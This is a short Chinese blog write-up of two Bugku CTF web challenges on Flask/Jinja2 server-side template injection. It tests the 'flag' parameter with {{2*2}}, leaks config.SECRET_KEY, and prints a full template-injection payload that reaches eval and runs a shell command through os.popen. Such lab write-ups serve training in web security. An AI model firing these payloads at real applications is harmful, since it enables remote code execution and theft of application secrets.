ctf系列-bugku靶场 web记录 SSTI 1 2 python flask框架 模板注入

ctf系列-bugku靶场 web记录

Simple_SSTI_1 模板注入

(1)启动环境
在这里插入图片描述
(2)抓包访问链接
发现响应包 显示为python服务
源码 提示
你需要传入一个flag的参数
你知道,在这套flask框架中,我们经常设置一个secret_key 变量
在这里插入图片描述
(3)测试flag参数
http://114.67.175.224:17072/?flag={{2*2}}

在这里插入图片描述
(4)根据提示获取SECRET_KEY变量
http://114.67.175.224:17072/?flag=flag{{config.SECRET_KEY}}
在这里插入图片描述

SSTI_2

依旧根据源码提示 说有flag 参数
测试 flag{{2*2}} 发现存在模板注入

直接利用 ssti模板注入的payload

?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}  {% endfor %}{% endif %}{% endfor %}

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值